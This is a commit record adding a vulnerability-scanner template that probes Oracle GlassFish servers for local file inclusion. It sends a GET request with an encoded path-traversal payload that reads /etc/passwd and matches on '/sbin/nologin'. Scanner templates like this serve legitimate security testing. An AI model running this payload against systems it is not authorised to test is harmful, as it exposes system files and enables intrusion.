Merge pull request #874 from pikpikcu/patch-68

Create oracle-glassfish-lfi.yaml
2021-02-16 14:24:25 +05:30 · 2021-02-16 14:24:25 +05:30 · 923759238c
parent da459ac705 b38e84957e
commit 923759238c
1 changed files with 23 additions and 0 deletions
--- a/vulnerabilities/oracle/oracle-glassfish-lfi.yaml
+++ b/vulnerabilities/oracle/oracle-glassfish-lfi.yaml
@ -0,0 +1,23 @@
+id: glassfish-lfi
+
+info:
+ name: GlassFish LFI
+ author: pikpikcu
+ severity: high
+ reference: https://www.exploit-db.com/exploits/39241
+ tags: oracle,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: word
+      words:
+       - "/sbin/nologin"
+      part: body
+
+    - type: status
+      status:
+       - 200